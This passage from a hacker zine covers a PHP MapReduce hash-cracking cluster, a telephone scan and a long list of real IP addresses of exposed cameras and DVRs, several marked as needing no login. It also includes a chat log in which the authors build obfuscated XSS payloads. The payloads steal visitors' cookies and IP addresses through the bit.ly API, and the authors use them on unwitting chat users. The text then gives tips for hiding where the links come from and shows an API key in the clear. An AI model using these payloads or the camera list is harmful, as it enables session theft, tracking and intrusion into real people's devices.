"job_id" to the payload. The "payload" tag holds the data that will be assigned to a variable stored on the node. It is named such that the variable is assigned correctly. In this particular packet, the information between the opening and closing "payload" tags is an MD5 hash, though it does not always have to be. However, protocol defines that the payload must only be alphanumeric (only contains numbers or letters). If the "type" tag is set to "FILE", then the payload should be treated as Base64-encoded data. This protocol is simple but allows for easy parsing and greater flexibility. Here is an example handshake performed between node and master. This handshake is initiated by a node upon startup to seek new jobs: /---------------------------------------------------------------------------------------------\ |http://127.0.0.1/map_reduce_zine/stat.php?id=ec366edc8a513f467af89f2e5cd9f37a&status=starting| \---------------------------------------------------------------------------------------------/ | | /-------------------------------------------------\ | <EL> | | <id>ec366edc8a513f467af89f2e5cd9f37a</id> | | <type>REQUEST</type> |-----------------------\ | </EL> | | \-------------------------------------------------/ | | | /--------------------------------------------------------------------------------------------\ |http://127.0.0.1/map_reduce_zine/stat.php?id=ec366edc8a513f467af89f2e5cd9f37a&status=whatami| \--------------------------------------------------------------------------------------------/ | | /-------------------------------------------------\ | <EL> | | <id>ec366edc8a513f467af89f2e5cd9f37a</id> | | <type>SET</type> | | <payload name="type"> | | reducer |-----------------------\ | </payload> | | | </EL> | | \-------------------------------------------------/ | | | /--------------------------------------------------------------------------------------------\ |http://127.0.0.1/map_reduce_zine/stat.php?id=ec366edc8a513f467af89f2e5cd9f37a&status=looking| \--------------------------------------------------------------------------------------------/ | | /-------------------------------------------------\ | <EL> | | <id>ec366edc8a513f467af89f2e5cd9f37a</id> | | <type>SET</type> | | <payload name="job_id"> | | 85103e20ac8441af181b15f58fc53b08 | | </payload> | | </EL> | \-------------------------------------------------/ Once the node has received a job, it will send another request to the master for the script and data files. The job files, which contain the split up work, are then stored in a folder specific to that job_id. To retrieve jobs files from the folder, the follow script is used: /------------------------------------------------------------------------------------ |#job_chunks.php |$dir = opendir( "./chunks/$job_id" ); | |if( $dir ) |{ | do | { | $thing = readdir( $dir ); | | if( $thing == FALSE ) | { | rmdir( "./chunks/$jobs_id" ); | die; | } | | if( $thing == "." || $thing == ".." ) | continue; | else | break; | | }while( true ); | | if( $thing && $thing != "." && $thing != ".." ) | { | $output = "<EL>\r\n"; | $output .= "\t<id>$id</id>\r\n"; | $output .= "\t<type>FILE</type>\r\n"; | $output .= "\t<payload name=\"chunk\">\r\n"; | $output .= "\t\t".base64_encode( file_get_contents( "./chunks/$job_id/$thing" ) )."\r\n"; | $output .= "\t</payload>\r\n"; | $output .= "</EL>"; | unlink( "./chunks/$job_id/$thing" ); | closedir( $dir ); | echo $output; | } |} | This code grabs the next chunk from the directory and wraps it as a EL packet, where the output is then sent to the node. From here, mapper nodes will process this chunk of data and start a small, one-time use web server. The reducer nodes request the IP:PORT of a mapper node, grabbing the result. After doing so, they further process the data and upload their results to the master. The master does a final reduction step on the reduced results and produces a final, usable result that is downloaded by the administrator. Although very much functional, the implementation that is given with this article possesses a few inherent issues: 1) If a node does not complete a job, then that node's results are lost. 2) There is no redundancy of nodes. 3) The code as a whole was not written with security in mind. Testing should only be performed on a private network. 4) It uses HTTP to transfer messages, which makes the code easy to write in exchange for introducing an enormous amount of overhead. 5) Speed gains from distributing the cracking process among multiple nodes is negated by the fact that nodes request chunks more quickly than other nodes are able to download them, resulting in multiple nodes receiving the same chunk. Requesting a chunk is not a "blocking" operation. This resulted in a dirty code hack using random sleep times. With that being said, this project still serves as a good learning tool to those interested in the MapReduce algorithm. Download the source package for this article: http://www.gonullyourself.org/zine/4/MapReduce.tar.gz MD5sum: d985ffa4b2fcd63d2a6275697acf252e SHA1sum: fb798594216e87b51fd194db1a31e580ebe47a7d A few things need to be done first before testing this code. First, the config.ini files should be updated to point to the URL of your web server and the folder the MapReduce code is installed in. The default is "http://127.0.0.1/map_reduce_zine". Once the configs have been updated correctly, the nodes are ready to run; however, the master must be set up first. Import and create the tables in map_reduce.sql. To make sure the master runs without problems, just be lazy and chmod 777 all the directories. For what we're doing, it really doesn't matter. Now, all the configurations are complete. To test the MapReduce cluster, initialize two or more nodes locally by running the "client.php" file in each of the "testing" folders. Once they are running, they will begin to poll the master for work. To add a job to the cluster, navigate to "add_job.php" in your browser. From here, add the corresponding files from the "example" directory. Once a job is added, the nodes will automatically grab the work script and any data needed to perform the job. Once the nodes are done with their work, they will begin to poll for new jobs. The example scripts and data are to find the plain text string "elchupathingy" from the hash in the "node_script.php". To see if it worked, browse to "show_results.php" and select the link there; it will run the "post-process" script and, in this case, display the plain text. lata, ELChupathingy [==================================================================================================] -=[ 0x09 Camera/DVR Scan -=[ Author: storm -=[ Email: storm@gonullyourself.org -=[ Website: http://gonullyourself.org/ Oh, the joys of nmap. Open access (no login) ---------------------- http://165.98.238.72/view/index.shtml http://165.98.238.75/view/index.shtml http://165.98.238.78/view/index.shtml http://186.1.14.117/view/index.shtml http://24.1.5.61:8082/Simple/index.htm http://24.1.10.154:81/ http://24.1.12.248:1028/ http://24.1.26.48/img/main.cgi?next_file=main.htm http://72.250.135.252:1024/img/image.cgi?next_file=main_fs.htm http://74.237.69.5/main.cgi?next_file=main.htm http://83.227.138.166/main.cgi?next_file=main.htm http://75.61.194.41:1024/main.cgi?next_file=index_in.htm http://193.87.102.25/img/main.cgi?next_file=main.htm http://213.198.245.70/img/main.cgi?next_file=main.htm http://74.237.69.5/main.cgi?next_file=main2.htm http://pineairewebcam.dyndns.org/ http://217.159.181.99/ http://193.138.213.166/ http://72.2.138.209:81/ http://ajs01.dyndns.org/ http://62.106.98.204/ http://80.54.239.234/ http://195.47.194.200/ http://78.36.109.5/ http://www.zodiac-bg.com/files/Jview.htm http://82.107.211.3/ http://84.53.31.54/ http://129.170.124.12/ http://193.178.224.10/ http://chrastal.homeip.net:5050/ http://194.112.215.163/ http://129.70.141.62/ http://209.94.75.172/ http://75.149.126.138:89/ http://67.53.198.178/ http://128.103.101.254/ http://157.157.79.85/ http://208.71.234.122/ http://24.25.42.218:52210/ http://65.182.241.193/ http://216.117.210.183:86/ http://203.213.212.174:1365/ http://142.217.181.117:89/ http://87.243.178.244/ http://81.138.9.30:81/ http://122.3.81.6:82/ http://68.101.243.94:82/ http://80.13.146.246/ http://64.203.239.75/ http://193.251.181.104/ http://213.110.240.157/ http://216.160.181.242:10083/ http://67.242.57.128:86/ http://www.rmackey.com/ http://71.194.73.80:4343/ http://209.117.235.143/ http://71.157.136.110:81/ http://216.129.211.131/ http://217.133.212.61/ http://143.107.3.149/ http://210.230.126.237:82/ http://62.147.232.188/ http://216.137.100.129:81/ http://210.230.133.76:82/ http://222.3.77.52:81/ http://222.11.124.75:81/ http://116.64.17.198/ http://210.249.10.81:81/ http://220.217.129.21:81/ http://210.249.21.157:82/ http://222.1.186.218:81/ http://221.119.133.176:81/ http://213.160.168.72/ http://61.204.127.233:82/ http://222.3.114.56:81/ http://71.110.145.16:89/ http://89.234.195.78/ http://99.135.117.196/ http://65.99.253.134/ http://222.11.60.180:81/ http://61.117.29.119:81/ http://82.176.123.82/ http://66.203.223.50:82/ http://24.20.88.10:84/ http://24.19.205.82:8095/ http://59.133.145.190:82/ http://68.16.245.20/ http://220.214.128.66:82/ http://124.105.235.84/ http://222.5.86.181:82/ http://210.169.100.66:82/ http://222.13.239.47:82/ http://208.54.215.145/ http://66.35.88.6/ http://98.112.171.186:81/ http://59.133.146.58:82/ http://195.131.161.122:85/ http://208.71.217.253:50001/ http://220.217.122.193:81/ http://222.15.48.210:82/ http://220.217.130.205:81/ http://98.190.143.254:23/ http://200.124.240.142:8086/ http://70.154.139.169:83/ http://205.250.69.239:81/ http://124.45.116.105:81/ http://61.204.122.175:82/ http://173.46.175.162:32000/ Login required -------------- https://24.206.4.253/index.htm http://24.231.40.38/ http://24.231.41.232/ http://24.231.50.181/ http://24.231.54.90/ http://24.244.132.179/ http://24.244.134.63/ http://24.244.135.87/ http://24.244.135.250/ http://216.137.0.39/auth.html http://216.137.11.89/ http://24.244.145.66:8080/ http://24.244.145.182/ http://24.244.146.129/ http://24.244.146.192/ http://24.244.180.229/ http://64.150.197.130/ http://64.150.207.20/ http://64.150.210.159/ http://64.150.220.6/ http://64.150.220.67/ http://64.150.222.210/ http://64.150.231.141/ http://64.150.237.8/ https://64.150.238.144/auth.html http://64.150.245.160/ http://65.75.92.213/ http://65.75.96.59/ http://65.75.107.70/ http://65.75.114.105/ http://65.75.115.236/ http://200.4.168.164/ http://200.80.109.38/ http://186.1.3.18/ http://186.1.3.69/ http://186.1.10.155/ http://190.106.11.19/ http://190.106.11.20/ http://190.106.14.14/ http://190.106.19.67/ http://190.184.94.41/ http://165.98.224.67/ http://165.98.235.2/ http://165.98.236.114/ http://186.1.14.180/ http://186.1.14.181/ http://186.1.14.182/ http://190.106.11.18/ http://190.184.23.39/ http://190.184.35.95/ http://190.184.40.114/ http://190.184.43.97/ http://190.184.45.153/ http://190.184.72.105/ http://190.212.134.190/ http://190.212.134.242/ http://196.200.49.162/ http://24.1.10.135:1050/ http://24.1.13.39:8080/ http://24.1.16.206/ http://186.1.10.156/login.html?1600&1 http://190.106.4.27/ [==================================================================================================] -=[ 0x0a 303-833-00xx Scan -=[ Author: Shadytel, Inc -=[ Website: http://www.shadytel.com/ 0001 - Expanded Announcement System (no supe) 0002 - Ringout 0003 - Ringout 0004 - Ringout 0005 - Reorder via SS7? 0006 - Burst of 2200 hz 0007 - Ringout 0008 - Busy signal via distant end 0009 - 102-type milliwatt, hangs up after ~3 cycles 0010 - Same as 0009 0012 - Busy via SS7 0013 - Coin deposit rec 0018 - LD service restricted rec 0020 - Reorder via SS7 0021 - Ringout 0022 - Ringout 0030 - Ringout 0031 - Ringout 0032 - Ringout 0034 - Ringout 0035 - Ringout 0036 - Ringout 0037 - Ringout 0038 - Modem - 7/E/1, *displays TID:, then garbage, then TID too long. Please try again.* 0039 - Something picks up silently after two rings. Faint clicking noise is sometimes audible. 0041 - Ringout 0057 - 105-type test 0058 - Something via SS7? Recheck 0065 - rec, "Remember, you must dial one plus your area code, or zero plus your area code and the number for long distance and operator assisted calls." 0066 - Dialing 1/0 not necessary rec 0067 - Dial 1 first rec 0068 - 100-type milliwatt 0069 - Dialing 0 not necessary rec 0070 - YCDNGT 0075 - YCDNGT 0076 - CBCAD/call your operator to help you 0077 - CBCAD/check your instruction manual 0078 - Permanent signal rec 0080 - Low tone 0081 - Same as 0078 0082 - Coin deposit rec 0083 - LD service restricted rec 0084 - CAC error rec 0085 - Tandem CBCAD recording? 0086 - Dialing CAC not necessary rec 0087 - Network difficulties rec 0089 - CAC error rec 0090 - ACB rec 0091 - Busy via SS7 0098 - Reorder via SS7? 0099 - DATU [==================================================================================================] -=[ 0x0b bit.ly Shenanigans (aka, XSS is hard bro) -=[ Author: Silks, elchupathingy -=[ IRC: irc.gonullyourself.org #gny Now, while we could neatly explain how we built up our implementation of this trick, it wouldn't really capture our thought process and just general fucking around. At some point, during the early hours of the morning, I pondered the idea of grabbing a fellow #gny chatter's IP for the lulz. Knowing that JavaScript has no reliable function for retrieving a client's IP, the best approach was to use a standard whatismyip.com site to grab the IP. With the IP address theoretically in my hands, I approached elchupathingy for ideas of how to export that information without any server-side ties. After some playing around, we came up with a solution that would gather and store a victim's IP address in a clever manner, and then redirect them to a final destination as expected. Here is our chat log (mildly edited to hide moments of stupidity) which explains how we built this up. -Silks Silks: do you know of a site that is like a persistent xss but not even xss? Silks: will just store info temporary Silks: like Silks: x.php?q=lolIstolethisguysip:1.1.1.1 elchupathingy: could use bit.ly to store it Silks: how so elchupathingy: it stores links you shorten Silks: basically, did you see my XSS, JS+PHP implementation? elchupathingy: don't think so elchupathingy: hmm storing people's info using bit.ly is kind of sly now that i think about it elchupathingy: lol elchupathingy: http://bit.ly/gsfxLp elchupathingy: see what the link expands to Silks: how would you create that though from JS? elchupathingy: one sec elchupathingy: "http://api.bitly.com/v3/shorten?login=$bitlylogin&apiKey=$bitlyapi&format=json&longU rl=http://google.com/search?q=".shit_goes_here Silks: k elchupathingy: http://api.bitly.com/v3/shorten?login=elchupathingy&apiKey=R_316895177c5be2a28cc9f0b2 52495179&format=json&longUrl=http://google.com/search?q=luls elchupathingy: just a GET or inclusion should work Silks: I guess if you can see the details in your bit.ly account that will export the info elchupathingy: http://google.com/search?q=USER:elchupathingy:PASS:lolpasssowrd elchupathingy: thats what it would look like Silks: I know man Silks: but you are ignoring the actual problem Silks: the point is, getting the data from the victims client to you Silks: so if bit.ly account store recently created urls Silks: then you can access that bit.ly and extract the info elchupathingy: ya elchupathingy: woot got the cookie via xss and bit.ly elchupathingy: lol elchupathingy: in a ungodly long xss string Silks: rofl Silks: so like elchupathingy: <script>;var x=new XMLHttpRequest();x.open(String.fromCharCode(71,69,84),String.fromC harCode(104,116,116,112,58,47,7,97,112,105,46,98,105,116,108,121,46,99,111,109,47,118 ,51,47,115,104,111,114,116,101,110,63,108,111,103,105,110,61,101,108,99,104,117,112,9 7,116,104,105,110,103,1,38,97,112,105,75,101,121,61,82,95,51,49,54,56,57,53,49,55,55, 99,53,98,101,50,97,50,57,99,99,57,102,48,98,50,53,50,52,57,53,49,55,57,38,2,111,114,1 09,97,116,61,106,115,111,110,38,108,111,110,103,85,114,108,61,104,116,116,112,58,47,4 7,103,111,111,103,108,101,26,99,11,10,47,115,101,97,114,99,104,63,113,61).concat(docu ment.cookie));x.onreadystatechange=function(){};x.send();</script> elchupathingy: lol elchupathingy: ungodly long Silks: win Silks: funny thing is Silks: you can then just bit.ly that long url elchupathingy: exactly lol elchupathingy: and bit.ly will keep track of the people that click on it lol elchupathingy: at the same time of sending you their cookie Silks: guessing the api can retrieve links too Silks: so you can probably write a quick app to grab it back elchupathingy: yep elchupathingy: well what ya mean? elchupathingy: short url to the info? Silks: well Silks: say you wanna xss like 100 people Silks: everytime someone gets owned they create a new bit.ly Silks: so you write an app that connects to bit.ly api and retrieves new bit.ly's Silks: and from that grabs the redirect url and parses the data elchupathingy: maybe elchupathingy: have to look over the api real quick Silks: but yeah you can break it down to two commands elchupathingy: can get the countries for each link, statistics on number of clicks and referrrers Silks: bit_xxs_ify <data you want> Silks: spits out a bit.ly link that links to the long url Silks: I guess somehow you'd need to inject what you want Silks: like "document.cookie" Silks: or just have a menu of all the options Silks: bit_xss_ify cookie Silks: bit_xss_ify ip Silks: etc Silks: then you'd need Silks: bitly_to_data elchupathingy: ok can get the top 100 urls elchupathingy: through their api Silks: which will grab all your bit.ly urls and push new ones into db elchupathingy: http://bit.ly/fUGVEO Silks: pro stream music elchupathingy: click that wanna see if it works Silks: put it in search box Silks: didn't exe Silks: https://api-ssl.bitly.com/v3/user/clicks?access_token=BITLY_ASSIGNED_ACCESS_TOKEN&days=7 Silks: oh nvm elchupathingy: nah got it elchupathingy: __qca=A0-153091312312-1291239025123263; __utmz=201001501.1201336810.6.6|utmccn=(refer ral)|utmcmd=referral|utmcct=/english/4245268-hf-trance-tiesto-vs-mark-knight-feat-din o-beautiful-world-original-mix.html; TRUID=12957903034531; CKTIME=1301436534; __utma= 251001561.940844074.1295790257.1297648116.1301436811.6 Silks: right realtime_links elchupathingy: lol Silks: what's that? elchupathingy: your click Silks: lolz Silks: weird how that was referrer Silks: was from a blank tab elchupathingy: ya elchupathingy: but ya works fine Silks: stop stealing mah cookies elchupathingy: nom nom cookies Silks: ahh it was just cookies Silks: weird, my cookies show all that info? :\ elchupathingy: ya Silks: ahh google analytics bs elchupathingy: TRUID=13018098525591; CKTIME=1301809854; popunder=yes; popundr=yes; setover18=1 Silks: tracking cookie elchupathingy: thats mine Silks: check my latest one Silks: sec elchupathingy: http://bit.ly/hbMGMA much better lol Silks: WHY? elchupathingy: cats are awesome elchupathingy: lol elchupathingy: u know elchupathingy: that hurts my feelings Silks: rofl Silks: was trying to tamper data it Silks: but realised that wasn't the actual cookie elchupathingy: oh haha Silks: so just spammed your link Silks: lolz elchupathingy: with hte same thing? Silks: pro music Silks: http://api.bitly.com/v3/shorten?login=elchupathingy&apiKey=R_316895177c5ce2a29cc9f0b252495179 &format=json&longUrl=http://google.com/search?q=ELCHUPATHINGY_IS_A_NIGGER elchupathingy: doesn't work with the same thing lol Silks: i can change the cookie in tamper data Silks: but Silks: the js is grabbing document.cookie Silks: and I can't change the url Silks: maybe in webgoat but cba loading that elchupathingy: ah elchupathingy: but that hurts elchupathingy: i mean all caps Silks: shutup Silks: you stole my cookies elchupathingy: you clicked the fucking link lol Silks: I trusted you ;( elchupathingy: haha Silks: bah this is so dumb elchupathingy: lol elchupathingy: hmm elchupathingy: but the bit.ly thing is nice because it guarantees unique cookies Silks: what do you mean? elchupathingy: it hashes the url elchupathingy: and my username elchupathingy: so if the same person comes to the site the cookie will probably be the same and not be sent again elchupathingy: see if anyone in #gny clicks my link lol Silks: nub Silks: shoulda got it to steal their ip elchupathingy: lol elchupathingy: well too late Silks: can do it later elchupathingy: ya elchupathingy: oh thats cool u can modify what the hashes bit.ly goes to elchupathingy: so u could edit the xss as its happening lol elchupathingy: nvm just title Silks: <!--#echo var="REMOTE_ADDR"--> Silks: weird Silks: fucking ssi shit elchupathingy: ya elchupathingy: well nvm not getting anything from the two clicks lol Silks: hmm elchupathingy: but there seems to be confusion over what it is Silks: that xss, can you get it to alert? elchupathingy: ya it's the same one i used to get your cookie elchupathingy: just have a feeling they are using noscript Silks: where is it executing? elchupathingy: in body Silks: the results span? elchupathingy: <div class="response_time">Results for <span> Silks: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=%3Cscript%3Edocument.write(document. cookie);%3C/script%3E Silks: ahh Silks: works Silks: alert doesn't elchupathingy: oh no strings elchupathingy: gets escaped elchupathingy: <script>alert(123)</script> works Silks: what I just pasted works elchupathingy: ya Silks: weird that document.alert doesn't work Silks: or Silks: yeah i'm just being dumb elchupathingy: lol Silks: hmm Silks: there is one whatismyip site that returns your ip as text with a specific url elchupathingy: ya i used that Silks: link elchupathingy: sec elchupathingy: http://www.whatismyip.com/automation/n09230945.asp Silks: hmm Silks: technically got it working Silks: but getting owned by access-control-allow-origin elchupathingy: getting the ip? or getting it to work as a xss? Silks: printing the ip Silks: once I got it, easymode Silks: that specific XSS site though doesn't allow for it elchupathingy: ah Silks: hmm Silks: but then, that is odd that yours works Silks: ahh, something to do with actually accessing the method Silks: as readystagechange or w/e elchupathingy: im sending the request which is cool Silks: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=%3Cscript%3Evar%20x%20=%20new%20XMLH ttpRequest();x.open(String.fromCharCode(71,69,84),String.fromCharCode(104,116,116,112,58,47,4 7,99,104,101,98,107,105,112,46,99,121,110,100,110,115,46,99,111,109,47));x.onreadystatechange =function(){%20alert(x.status);%20};x.send();%3C/script%3E Silks: SAFE Silks: honestly Silks: not a dirty liar like you elchupathingy: lol elchupathingy: 0,0,0,0 Silks: ? elchupathingy: alert boxes Silks: yeah Silks: that's with x.status Silks: should be 200 Silks: if you fire up JS console you will see the error elchupathingy: not getting an error Silks: browser? elchupathingy: ff4 Silks: oh it's fucking chrome elchupathingy: im mean i get a error on the page but its there no matter what elchupathingy: $(document).pngFix elchupathingy: is not a function Silks: although it's still not quite right Silks: still should return 200 elchupathingy: ya Silks: well it is grabbing 200 Silks: something up with code Silks: meh down to this origin bs Silks: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=%3Cscript%3Evar%20x%20=%20new%20XMLH ttpRequest%28%29;x.open%28String.fromCharCode%2871,69,84%29,String.fromCharCode%28104,116,116 ,112,58,47,47,99,104,101,99,106,105,112,46,100,121,110,100,110,115,46,99,111,109,47%29,true%2 9;x.onreadystatechange=function%28%29{if%28x.readyState%20==%204%29%20{%20if%28x.status%20==% 20200%29%20{%20alert%28x.responseText%29;%20}}};x.send%28null%29;%3C/script%3E Silks: code effectively works Silks: well maybe, on another host Silks: but if you can host a file elsewhere then you can either chain JS where it does work or use PHP etc elchupathingy: ya elchupathingy: think i got it elchupathingy: one sec elchupathingy: Silks: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=%3Cscript%3E;var%20x% 20=%20new%20XMLHttpRequest%28%29;x.open%28String.fromCharCode%2871,69,84%29,String.fr omCharCode%28104,116,116,112,58,47,47,96,111,105,46,104,111,115,116,105,112,46,105,11 0,102,111%29,true%29;x.onreadystatechange%20=function%28%29{if%28x.readyState==4%29{a lert%28x.responseText.match%28new%20RegExp%28String.fromCharCode%2892,100,120,49,44,5 1,125,92,46,92,100,123,49,44,51,125,92,46,92,100,123,49,44,51,125,92,46,92,100,123,49 ,44,51,125%29%29%29%29;}};x.send%28%29;%3C/script%3E elchupathingy: http://bit.ly/f1Ygcc :D Silks: nice work elchupathingy Barney-: =] Barney-: what happened Silks: umm, we were messing around with XSS Barney-: rgr Silks: now have XSS code that can steal your IP Silks: well, it grabs the IP, gonna add it to what elchu was working on earlier, storing it in bit.ly links Barney-: hmm Silks: yeah Barney-, check this Barney-: ?? Silks: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=%3Cscript%3E;var%20x%20=%20new%20XML HttpRequest();x.open(String.fromCharCode(71,69,84),String.fromCharCode(104,116,116,112,58,47, 47,97,112,105,46,104,111,115,116,105,112,46,105,110,102,111),true);x.onreadystatechange%20=%2 0function(){if(x.readyState==4){alert(x.responseText);}};x.send();%3C/script%3E Silks: this will print the response page of a whatismyip site Barney-: very cool Silks: I was trying with a different site and it was failing Barney-: thats real cool actually Silks: elchu tried with that one Silks: and then used regex Silks: so Silks: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=<script>;var%20x%20=%20new%20XMLHttp Request();x.open(String.fromCharCode(71,69,84),String.fromCharCode(104,116,116,112,58,47,47,9 7,112,105,46,104,111,115,116,105,112,46,105,110,102,111),true);x.onreadystatechange%20=functi on(){if(x.readyState==4){alert(x.responseText.match(new%20RegExp(String.fromCharCode(92,100,1 23,49,44,51,125,92,46,92,100,123,49,44,51,125,92,46,92,100,123,49,44,51,125,92,46,92,100,123, 49,44,51,125))));}};x.send();</script> Silks: also we were discussing how to export info and talked about creating bit.ly links with APIs Silks: found out that it is possible to retrieve newly created links in the API too Silks: so.. Barney-: but Barney-: how do you figure out Barney-: the bit.ly link Barney-: after its been created Silks: because of a bit.ly account Silks: so Silks: http://api.bitly.com/v3/shorten?login=elchupathingy&apiKey=R_316895177c5ce2a29cc9f0b252495179 &format=json&longUrl=http://google.com/search?q= Silks: will create the url Barney-: ah ok ok Barney-: so you login to the account Silks: and you can export the data but adding it to q= Barney-: but we don't want IPs we want coookies Silks: idd Silks: so Silks: if you look at the url above Silks: you just do Silks: http://api.bitly.com/v3/shorten?login=elchupathingy&apiKey=R_316895277c5ce2a29cc9f0b252495179 &format=json&longUrl=http://google.com/search?q= + document.cookie Barney-: ah rgr Silks: specifically that above looks like Silks: String.fromCharCode(104,116,116,112,58,47,47,97,112,105,46,98,105,116,108,121,46,99,111,109,4 7,118,51,47,115,104,111,114,116,101,110,63,108,111,103,105,110,62,101,108,99,104,117,112,97,1 17,104,105,110,103,121,38,97,112,105,75,101,121,61,82,95,51,49,54,56,57,53,49,55,55,99,53,98, 101,50,97,50,57,99,99,57,102,48,98,50,53,50,52,57,53,49,55,57,38,102,111,114,109,97,116,61,10 6,115,111,110,38,108,111,110,103,85,114,108,61,104,116,116,112,58,47,47,103,111,111,103,108,1 01,46,99,111,109,47,115,101,97,114,99,104,63,113,61).concat(document.cookie)); Silks: so since I've woke up and elchu found the ip, I'm gonna combine both of them so it will store an IP in a bit.ly account Barney-: ya but in what type of attack scenario would IP be helpful? Silks: was saying before, obviously we can just store all this info in the same way I did with my XSS session stealer. call a .php and store it in a db Barney-: dont get me wrong its cool, just wondering application Barney-: could do it easier Barney-: and be like Barney-: hey visit www.silks.com/index.php?id=4 (where id isn't even a var...) Barney-: it'll 404, and show up in access_log Barney-: voila Silks: hence what I said above but yeah Silks: this is just a way of doing it without any hosting etc Barney-: true Silks: and pretty interesting to be storing info in bit.ly links Silks: that page wouldn't 404 if you just added a get var Silks: funny thing is, when you've made the full XSS you can just package it up in a bit.ly Silks: elchu posted it in #gny and a couple of people clicked and didn't even understand what happened Silks: specifically, Compound and jmp got XSS'ed and knew no better Barney-: hahah Barney-: a bit.ly starts the XSS Barney-: and ends up in a bit.ly Barney-: hence why I don't trust you Barney-: and i go curl -I silks-dumb-links.com Silks: almost done Silks: gonna own #gny Silks: Barney- Silks: mind testing this? Silks: http://bit.ly/e93lCU Silks: bit.ly/gvZPM8 Barney-: Location: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=<script>var x = new XMLH ttpRequest();x.open(String.fromCharCode(71,69,84),String.fromCharCode(104,116,116,112,58,47 ,47,92,112,105,46,103,111,12,116,105,112,46,105,110,102,111),true);x.onreadystatechange =fu nction(){if(x.readyState==4){var ip = x.responseText.match(new RegExp(String.fromCharCode(9 2,100,123,49,44,51,125,92,46,92,100,123,49,44,51,125,92,46,92,100,123,49,44,51,125,92,46,92 ,100,123,49,44,51,125)));var y=new XMLHttpRequest();y.open(String.fromCharCode(71,69,84),St ring.fromCharCode(104,116,116,112,58,47,47,97,112,105,46,98,105,116,108,121,46,99,111,109,4 7,118,51,47,115,104,111,114,116,101,110,63,108,111,103,105,110,61,115,105,108,107,115,121,3 8,97,112,105,75,101,121,61,82,95,98,100,102,57,54,101,56,51,55,49,51,99,50,50,55,48,50,52,5 3,55,55,48,102,55,101,99,56,48,56,98,49,100,38,102,111,114,108,97,116,61,106,115,111,110,38 ,108,111,110,103,85,114,107,61,104,116,116,112,58,47,44,103,111,111,103,108,101,46,99,111,1 09,47,115,101,97,114,99,104,63,113,61).concat(ip));y.send();}};x.send();</script> Barney-: MIME-Version: 1.0 Barney-: Content-Length: 1177 Barney-: how do you pass a mime-version Barney-: with no mime type Silks: probably to do with the bit.ly link elchupathingy: just woke up Silks: tricked a few people lolz elchupathingy: ya saw elchupathingy: i was happy with the ip lol elchupathingy: but having to add in the random ass semicolons was annoying Silks: I'm thinking it might be possible to use browser location tracking to grab data elchupathingy: probably Silks: you know the browser sends a list of all the access points and macs near you Silks: crazy shit Silks: then you can use those macs with google api to triangulate your position elchupathingy: never tried to use it Silks: crazy how much data your browser sends though elchupathingy: ya Silks: would be lol to XSS->triangulated position Silks: similar shit to what samy did Silks: but without being a fucking tool elchupathingy: heh elchupathingy: well you can get it but ff asks for permission to get the lat,lng Silks: yeah Silks: but if location tracking is enabled it goes through elchupathingy: true then its fucking simple lol Silks: you're fucking simple Silks: think only in the past 6 months-year they started asking users tbh elchupathingy: function loc(p) { alert( p ); }navigator.geolocation.getCurrentPosition(loc); elchupathingy: er elchupathingy: function loc(p){alert(p.coords.latitude+","+p.coords.longitude);};navigator.geolocati on.getCurrentPosition(loc); Silks: listening to that song you stole from my cookies d4rK3r: who is more awesome then i? http://ads.clicksor.com/newServing/yesupSearch/web.php?q=%3cscript%3e%3bvar+x+%3d+new+XMLHttpRequest ()%3bx.open(String.fromCharCode(71%2c69%2c84)%2cString.fromCharCode(104%2c116%2c116%2c112%2c58%2c47% 2c47%2c97%2c112%2c105%2c46%2c104%2c111%2c115%2c116%2c105%2c112%2c46%2c105%2c110%2c102%2c111)%2ctrue) %3bx.onreadystatechange%3dfunction()%7bif(x.readyState%3d%3d4)%7bvar+ip+%3d+x.responseText.match(new +RegExp(String.fromCharCode(92%2c100%2c123%2c49%2c44%2c51%2c125%2c92%2c46%2c92%2c100%2c123%2c49%2c44 %2c51%2c125%2c92%2c46%2c92%2c100%2c123%2c49%2c44%2c51%2c125%2c92%2c46%2c92%2c100%2c123%2c49%2c44%2c5 1%2c125)))%3bvar+y+%3d+new+XMLHttpRequest()%3by.onreadystatechange+%3d+function()%7bif(y.readyState% 3d%3d4)window.location%3dString.fromCharCode(103%2c116%2c116%2c112%2c58%2c47%2c47%2c98%2c105%2c116.. ..d%3by.open(+String.fromCharCode(71%2c69%2c84)%2cString.fromCharCode(104%2c116%2c116%2c112%2c58%2c4 7%2c47%2c97%2c112%2c105%2c46%2c98%2c105%2c116%2c108%2c121%2c46%2c99%2c111%2c109%2c47%2c118%2c51%2c47 %2c115%2c104%2c111%2c114%2c116%2c101%2c110%2c63%2c108%2c111%2c103%2c105%2c110%2c61%2c101%2c108%2c99% 2c104%2c117%2c112%2c97%2c116%2c104%2c105%2c110%2c103%2c...57%2c99%2c99%2c57%2c102%2c48%2c98%2c50%2c5 3%2c50%2c52...c61%2c106%2c115%2c111%2c110%2c38%2c108%2c111%2c110%2c103%2c85%2c114%2c108%2c61%2c104%2 c116%2c116%2c112%2c58%2c47%2c47%2c103%2...2c97%2c114%2c99%2c104%2c63%2c113%2c61).concat(ip).concat(d ocument.cookie))%3by.send()%3b%7d%3b%7d%3bx.send()%3b%3c%2fscript%3e This XSS string is the final product of the above discussion, shown above incorporates the grabbing of the user's IP and cookie and utilizing the bit.ly storage method also outlined above. The simple bit.ly API makes this method of cookie grabbing simple and effective. Getting the cookie information is a simple request to the bit.ly services, and all of the relevant information will be returned in a XML or JSON string. Duplicate entries are effectively nulled by how bit.ly hashes the URL to create its shortened ones. Accounts are easily created, and thus the links and storing of information can be distributed amoungst many different bit.ly accounts. This makes it much harder to find the sole source of the links. A combination with other URL shortening services such as goo.gl, on.fb.me, and tinyurl can make this a very robust method of cookie stealing. The XSS string above can be tweaked to hide its real intentions and can effectively work against someone that does not question links sent to them. A major weakness of this technique is that it relies on JavaScript, so browsers that employ NoScript will not be affected, but utilizing other standard XSS techniques and server-side files could ensure that if you can't grab both the IP+cookie, you can at least grab an IP. As simple as this technique may be, there is a lot more potential for further privacy and security breaches if you can think outside the box. Not to mention that we think storing data in bit.ly is pretty hilarious. [==================================================================================================] -=[ 0x0c Programming Challenge -=[ Author: storm -=[ Email: storm@gonullyourself.org -=[ Website: http://gonullyourself.org/ Sorry, no programming challenge this issue. If you have ideas, don't hesitate to 